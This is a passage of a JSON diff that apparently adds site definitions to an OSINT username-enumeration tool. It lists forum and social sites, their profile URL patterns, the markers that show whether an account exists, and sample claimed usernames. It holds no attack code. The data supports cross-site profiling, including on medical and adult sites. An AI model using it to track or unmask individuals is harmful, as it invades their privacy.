"usernameUnclaimed": "noonewouldeverusethis7" + }, + "sanatorii": { + "tags": [ + "by", + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 328058, + "urlMain": "http://forum.sanatorii.by", + "url": "http://forum.sanatorii.by/search.php?keywords=&terms=all&author={username}", + "usernameClaimed": "pavlovich", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "sciax2.it": { + "tags": [ + "forum", + "tr" + ], + "engine": "XenForo", + "alexaRank": 771385, + "urlMain": "https://www.sciax2.it/forum/", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "scooterclub.kharkov.ua": { + "engine": "uCoz", + "alexaRank": 8737937, + "urlMain": "http://scooterclub.kharkov.ua", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "scuba": { + "tags": [ + "forum", + "ru" + ], + "engine": "phpBB", + "alexaRank": 5923852, + "urlMain": "http://forum.scuba-divers.ru/", + "usernameClaimed": "bubonic", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "secret.kompas3d.su": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "alexaRank": 5554446, + "urlMain": "http://secret.kompas3d.su", + "usernameClaimed": "irina", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "segmentfault": { + "disabled": true, + "tags": [ + "cn" + ], + "checkType": "message", + "absenceStrs": [ + "message\":\"Not Found\"" + ], + "presenseStrs": [ + "- SegmentFault \u601d\u5426" + ], + "alexaRank": 2697, + "urlMain": "https://segmentfault.com/", + "url": "https://segmentfault.com/u/{username}", + "usernameClaimed": "john", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "shadow-belgorod.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://shadow-belgorod.ucoz.ru", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "sibmama": { + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0418\u0437\u0432\u0438\u043d\u0438\u0442\u0435" + ], + "alexaRank": 37115, + "urlMain": "https://forum.sibmama.ru/", + "url": "https://forum.sibmama.ru/profile.php?mode=viewprofile&u={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "smart-lab.ru": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "404" + ], + "alexaRank": 10244, + "urlMain": "https://smart-lab.ru/", + "url": "https://smart-lab.ru/profile/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "soc-life.com": { + "presenseStrs": [ + "sc-tabs\"><div>\u041b\u043e\u0433\u0438\u043d:" + ], + "engine": "uCoz", + "alexaRank": 8235710, + "urlMain": "http://soc-life.com", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "socforum.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://socforum.3dn.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ] + }, + "social.tchncs.de": { + "tags": [ + "de", + "in" + ], + "checkType": "status_code", + "alexaRank": 489597, + "regexCheck": "^[a-zA-Z0-9_]+$", + "urlMain": "https://social.tchncs.de/", + "url": "https://social.tchncs.de/@{username}", + "usernameClaimed": "Milan", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "soft-wm.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://soft-wm.3dn.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "soldati-russian.ru": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "alexaRank": 1104342, + "urlMain": "http://soldati-russian.ru", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "somersoft.com": { + "engine": "XenForo", + "alexaRank": 1840542, + "urlMain": "https://www.somersoft.com/", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ] + }, + "soslujivzi.ru": { + "engine": "uCoz", + "alexaRank": 3140321, + "urlMain": "http://soslujivzi.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "sourceruns": { + "tags": [ + "forum", + "us" + ], + "engine": "Discourse", + "alexaRank": 824338, + "urlMain": "https://forums.sourceruns.org/", + "usernameClaimed": "cubedude", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "southbayriders.com": { + "engine": "XenForo", + "alexaRank": 998998, + "urlMain": "http://www.southbayriders.com/forums/", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ] + }, + "sovgavan.ru": { + "engine": "uCoz", + "alexaRank": 7910939, + "urlMain": "http://sovgavan.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "ru" + ] + }, + "soylentnews": { + "tags": [ + "us" + ], + "checkType": "message", + "absenceStrs": [ + "The user you requested does not exist, no matter how much you wish this might be the case." + ], + "alexaRank": 1226454, + "urlMain": "https://soylentnews.org", + "url": "https://soylentnews.org/~{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "sparkpeople": { + "tags": [ + "us" + ], + "checkType": "message", + "absenceStrs": [ + "We couldn't find that user", + "Page Not Found" + ], + "alexaRank": 24562, + "urlMain": "https://www.sparkpeople.com", + "url": "https://www.sparkpeople.com/mypage.asp?id={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Orbys": { + "tags": [ + "us" + ], + "checkType": "message", + "presenseStrs": [ + "profile_user_image" + ], + "absenceStrs": [ + "The page you are looking for cannot be found." + ], + "alexaRank": 305135, + "urlMain": "https://orbys.net", + "url": "https://orbys.net/{username}", + "usernameClaimed": "txmustang302", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "spletnik": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 13818, + "urlMain": "https://spletnik.ru/", + "url": "https://spletnik.ru/user/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "sports.ru": { + "tags": [ + "ru", + "sport" + ], + "checkType": "status_code", + "alexaRank": 1451, + "urlMain": "https://www.sports.ru/", + "url": "https://www.sports.ru/profile/{username}/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "sportsjournalists.com": { + "tags": [ + "forum", + "us" + ], + "engine": "XenForo", + "alexaRank": 704882, + "urlMain": "http://sportsjournalists.com/forum/", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "stalkerbar.at.ua": { + "engine": "uCoz", + "urlMain": "http://stalkerbar.at.ua", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "studentur.com.ua": { + "tags": [ + "ua" + ], + "engine": "uCoz", + "alexaRank": 5842130, + "urlMain": "http://studentur.com.ua", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "svidbook": { + "disabled": true, + "checkType": "status_code", + "alexaRank": 8078109, + "urlMain": "https://www.svidbook.ru/", + "url": "https://www.svidbook.ru/user/{username}", + "usernameClaimed": "green", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "swedroid.se": { + "tags": [ + "forum", + "se" + ], + "engine": "XenForo", + "alexaRank": 95322, + "urlMain": "http://swedroid.se/forum", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "swiftbook": { + "tags": [ + "forum", + "ru" + ], + "engine": "Discourse", + "alexaRank": 516808, + "urlMain": "https://forum.swiftbook.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "takr-kiev.ucoz.com": { + "engine": "uCoz", + "urlMain": "http://takr-kiev.ucoz.com", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "tarjaturunen.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://tarjaturunen.ucoz.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "tdo888.at.ua": { + "engine": "uCoz", + "urlMain": "http://tdo888.at.ua", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "techspot.com": { + "tags": [ + "forum", + "us" + ], + "errors": { + "You must be logged-in to do that.": "Login required" + }, + "engine": "XenForo", + "alexaRank": 3685, + "urlMain": "http://www.techspot.com/community/", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "tfw2005.com": { + "tags": [ + "forum", + "us" + ], + "engine": "XenForo", + "alexaRank": 107783, + "urlMain": "http://www.tfw2005.com/boards/", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "thaicat.ru": { + "engine": "uCoz", + "alexaRank": 2591501, + "urlMain": "http://thaicat.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "the-mainboard.com": { + "tags": [ + "forum", + "us" + ], + "engine": "XenForo", + "alexaRank": 1232016, + "urlMain": "http://the-mainboard.com/index.php", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "theburningprocess.com": { + "engine": "XenForo", + "urlMain": "http://www.theburningprocess.com/", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ], + "disabled": true + }, + "theprodigy": { + "disabled": true, + "tags": [ + "forum", + "ru", + "ua" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c, \u0447\u0435\u0439 \u043f\u0440\u043e\u0444\u0438\u043b\u044c \u0432\u044b \u043f\u044b\u0442\u0430\u0435\u0442\u0435\u0441\u044c \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c, \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442." + ], + "alexaRank": 1785488, + "urlMain": "https://forum.theprodigy.ru/", + "url": "https://forum.theprodigy.ru/index.php?board=13&action=viewprofile&user={username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "theturboforums.com": { + "tags": [ + "forum", + "us" + ], + "engine": "XenForo", + "alexaRank": 468075, + "urlMain": "https://www.theturboforums.com/forums/", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "thewholesaleforums.co.uk": { + "tags": [ + "forum", + "in" + ], + "engine": "XenForo", + "alexaRank": 410075, + "urlMain": "http://www.thewholesaleforums.co.uk/", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "tigerfan.com": { + "engine": "XenForo", + "alexaRank": 8504929, + "urlMain": "http://www.tigerfan.com/", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "sport" + ] + }, + "tks": { + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 64123, + "urlMain": "https://forum.tks.ru/", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "topcheats.ucoz.com": { + "engine": "uCoz", + "urlMain": "http://topcheats.ucoz.com", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "tracr.co": { + "disabled": true, + "tags": [ + "gaming" + ], + "errors": { + "502 - Bad Gateway": "Site error", + "g-recaptcha": "Captcha detected" + }, + "regexCheck": "^[A-Za-z0-9]{2,32}$", + "checkType": "message", + "absenceStrs": [ + "No search results" + ], + "urlMain": "https://tracr.co/", + "url": "https://tracr.co/users/1/{username}", + "source": "Discord", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "transit-club.com": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "alexaRank": 1224454, + "urlMain": "http://transit-club.com", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "uahack.at.ua": { + "engine": "uCoz", + "urlMain": "http://uahack.at.ua", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "uaodessa.com": { + "engine": "uCoz", + "urlMain": "http://uaodessa.com", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 2222236 + }, + "ucozon.ru": { + "engine": "uCoz", + "alexaRank": 6574568, + "urlMain": "http://ucozon.ru", + "usernameClaimed": "god", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "uID.me (by username)": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "urlMain": "https://uid.me/", + "url": "http://uid.me/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 25111 + }, + "uID.me (by uguid)": { + "tags": [ + "ru" + ], + "type": "uidme_uguid", + "checkType": "status_code", + "alexaRank": 25111, + "urlMain": "https://uid.me/", + "url": "http://uid.me/uguid/{username}", + "usernameClaimed": "1050362129", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "usman48.ru": { + "disabled": true, + "tags": [ + "ru" + ], + "engine": "uCoz", + "alexaRank": 1974421, + "urlMain": "http://usman48.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "valinor.com.br": { + "engine": "XenForo", + "alexaRank": 2008219, + "urlMain": "http://www.valinor.com.br/forum/", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ] + }, + "vauxhallownersnetwork.co.uk": { + "tags": [ + "forum", + "tr" + ], + "engine": "XenForo", + "alexaRank": 393373, + "urlMain": "http://www.vauxhallownersnetwork.co.uk", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "vdv-belarus.ucoz.com": { + "engine": "uCoz", + "urlMain": "http://vdv-belarus.ucoz.com", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "by", + "forum", + "military" + ] + }, + "vegalab": { + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 99427, + "urlMain": "http://forum.vegalab.ru", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "vento-club.com": { + "engine": "uCoz", + "alexaRank": 5497827, + "urlMain": "http://vento-club.com", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "vii.at.ua": { + "disabled": true, + "engine": "uCoz", + "urlMain": "http://vii.at.ua", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "vilinburg.net": { + "engine": "uCoz", + "urlMain": "http://vilinburg.net", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "virtual-auto.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://virtual-auto.ucoz.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "vishivalochka.ru": { + "engine": "uCoz", + "alexaRank": 1294903, + "urlMain": "http://vishivalochka.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "vovdm.at.ua": { + "engine": "uCoz", + "urlMain": "http://vovdm.at.ua", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "vse1.ucoz.com": { + "engine": "uCoz", + "urlMain": "http://vse1.ucoz.com", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "warcraft3ft.clan.su": { + "engine": "uCoz", + "alexaRank": 6475276, + "urlMain": "http://warcraft3ft.clan.su", + "usernameClaimed": "god", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "warframe.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://warframe.3dn.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "watcheshop": { + "disabled": true, + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 9470848, + "urlMain": "http://forum.watcheshop.ru", + "usernameClaimed": "211", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "weaponsas.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://weaponsas.ucoz.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "websecurity.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://websecurity.3dn.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "wowjp.net": { + "disabled": true, + "tags": [ + "ru", + "ua" + ], + "engine": "uCoz", + "alexaRank": 504645, + "urlMain": "http://wowjp.net", + "usernameClaimed": "god", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "wowpaksi.clan.su": { + "disabled": true, + "engine": "uCoz", + "urlMain": "http://wowpaksi.clan.su", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "writingforums.org": { + "tags": [ + "ca", + "forum" + ], + "engine": "XenForo", + "alexaRank": 197365, + "urlMain": "http://www.writingforums.org/", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "ww2aircraft.net": { + "engine": "XenForo", + "urlMain": "https://ww2aircraft.net/forum/", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 894556, + "tags": [ + "forum" + ] + }, + "x-h2o.com": { + "engine": "XenForo", + "alexaRank": 3352857, + "urlMain": "http://www.x-h2o.com/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ] + }, + "xHamster": { + "tags": [ + "porn", + "us" + ], + "checkType": "message", + "presenseStrs": [ + "user-info-section" + ], + "absenceStrs": [ + "User not found" + ], + "alexaRank": 136, + "urlMain": "https://xhamster.com", + "url": "https://xhamster.com/users/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis77777" + }, + "xakerminus.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://xakerminus.ucoz.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "xenforo.com": { + "tags": [ + "forum", + "in", + "jp", + "tr", + "us" + ], + "engine": "XenForo", + "urlMain": "https://xenforo.com/community/", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 21438 + }, + "z28.com": { + "engine": "XenForo", + "alexaRank": 4724035, + "urlMain": "https://www.z28.com/", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ] + }, + "zabselo.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://zabselo.ucoz.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "zid.moy.su": { + "engine": "uCoz", + "alexaRank": 8281383, + "urlMain": "http://zid.moy.su", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Znanylekarz.pl": { + "checkType": "status_code", + "url": "https://www.znanylekarz.pl/{username}", + "usernameClaimed": "janusz-nowak", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "gomel-dogs.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://gomel-dogs.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "rottweiler.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://rottweiler.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 5993590 + }, + "poteryashka.spb.ru": { + "engine": "uCoz", + "alexaRank": 3058596, + "urlMain": "http://poteryashka.spb.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "lai.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://lai.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "zennenhund.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://zennenhund.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "nada25.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://nada25.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "tags": [ + "forum", + "ru" + ] + }, + "day-lapku.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://day-lapku.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "legendarus-veo.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://legendarus-veo.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "horek-samara.ru": { + "engine": "uCoz", + "urlMain": "http://horek-samara.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "tags": [ + "ru" + ] + }, + "animal-hope.ru": { + "engine": "uCoz", + "alexaRank": 5801383, + "urlMain": "http://animal-hope.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "staffbull.info": { + "disabled": true, + "engine": "uCoz", + "urlMain": "http://staffbull.info", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 7749226 + }, + "pushok.ucoz.ru": { + "disabled": true, + "engine": "uCoz", + "urlMain": "http://pushok.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "pskovfaunaclub.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://pskovfaunaclub.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "valleykrosava.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://valleykrosava.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "alisaclub.ru": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "alexaRank": 7659436, + "urlMain": "http://alisaclub.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "vadimbondar.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://vadimbondar.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "alka-mine.at.ua": { + "engine": "uCoz", + "urlMain": "http://alka-mine.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 7178891 + }, + "endoctor.ru": { + "engine": "uCoz", + "alexaRank": 5608512, + "urlMain": "http://endoctor.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "n-ataeva.ru": { + "engine": "uCoz", + "urlMain": "http://n-ataeva.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 7956400 + }, + "oih.at.ua": { + "tags": [ + "ua" + ], + "engine": "uCoz", + "alexaRank": 4180623, + "urlMain": "http://oih.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "vadya.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://vadya.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "uroportal.com.ua": { + "engine": "uCoz", + "urlMain": "http://uroportal.com.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "forum.u-hiv.ru": { + "engine": "uCoz", + "urlMain": "http://forum.u-hiv.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 1918759, + "tags": [ + "forum", + "medicine", + "ru" + ] + }, + "stroyneemvmeste.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://stroyneemvmeste.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "dr-denisov.ru": { + "engine": "uCoz", + "alexaRank": 2237530, + "urlMain": "http://dr-denisov.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "electronic-cigarette.ru": { + "engine": "uCoz", + "urlMain": "http://electronic-cigarette.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "medkniga.ucoz.net": { + "engine": "uCoz", + "urlMain": "http://medkniga.ucoz.net", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "eyorkie.ucoz.ru": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "alexaRank": 2416579, + "urlMain": "http://eyorkie.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "pankreatitu.ucoz.net": { + "engine": "uCoz", + "urlMain": "http://pankreatitu.ucoz.net", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "sfinx-cats.ucoz.ru": { + "engine": "uCoz", + "alexaRank": 3639009, + "urlMain": "http://sfinx-cats.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "help-baby.org": { + "engine": "uCoz", + "alexaRank": 7465701, + "urlMain": "http://help-baby.org", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "ugri.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://ugri.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "prenatal-club.ucoz.com": { + "engine": "uCoz", + "urlMain": "http://prenatal-club.ucoz.com", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "milnerelena.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://milnerelena.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "zebest.ucoz.ru": { + "engine": "uCoz", + "alexaRank": 3534217, + "urlMain": "http://zebest.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "1klas.3dn.ru": { + "disabled": true, + "engine": "uCoz", + "urlMain": "http://1klas.3dn.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "tags": [ + "ru" + ] + }, + "psy-dv.org": { + "disabled": true, + "engine": "uCoz", + "alexaRank": 7235113, + "urlMain": "http://psy-dv.org", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "medkarta.at.ua": { + "engine": "uCoz", + "urlMain": "http://medkarta.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "hmkids.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://hmkids.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "intoclassics.net": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "urlMain": "http://intoclassics.net", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 171348 + }, + "shanson.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://shanson.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "justmj.ru": { + "engine": "uCoz", + "urlMain": "http://justmj.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 7483085 + }, + "klas-crew.ucoz.ru": { + "disabled": true, + "engine": "uCoz", + "urlMain": "http://klas-crew.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "allmus.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://allmus.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "psy-music.ru": { + "tags": [ + "fi", + "ru" + ], + "engine": "uCoz", + "alexaRank": 334332, + "urlMain": "http://psy-music.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "rotarusofi.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://rotarusofi.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "videomuzon.ucoz.ru": { + "engine": "uCoz", + "alexaRank": 7386022, + "urlMain": "http://videomuzon.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "webmedia.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://webmedia.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "p1rat.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://p1rat.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "satisfacktion.ucoz.ru": { + "disabled": true, + "engine": "uCoz", + "urlMain": "http://satisfacktion.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "tags": [ + "music", + "ru" + ] + }, + "djfint.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://djfint.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "god" + }, + "aviaforum.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://aviaforum.ucoz.ru", + "usernameUnclaimed": 